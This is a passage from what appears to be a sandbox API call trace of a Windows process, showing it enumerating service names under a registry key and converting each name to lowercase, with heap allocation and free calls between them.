lpUsedDefaultChar=0x0) returned 11 [0212.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0212.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.785] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0212.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0212.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.785] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0212.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0212.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.785] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0212.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0212.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.785] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0212.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0212.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.786] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0212.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0212.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.786] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0212.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0212.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.786] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0212.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0212.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.786] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0212.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0212.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0212.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0212.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0212.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0212.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0212.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0212.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0212.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0212.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1d60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0212.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0212.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0212.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0212.790] RtlAllocateHeap 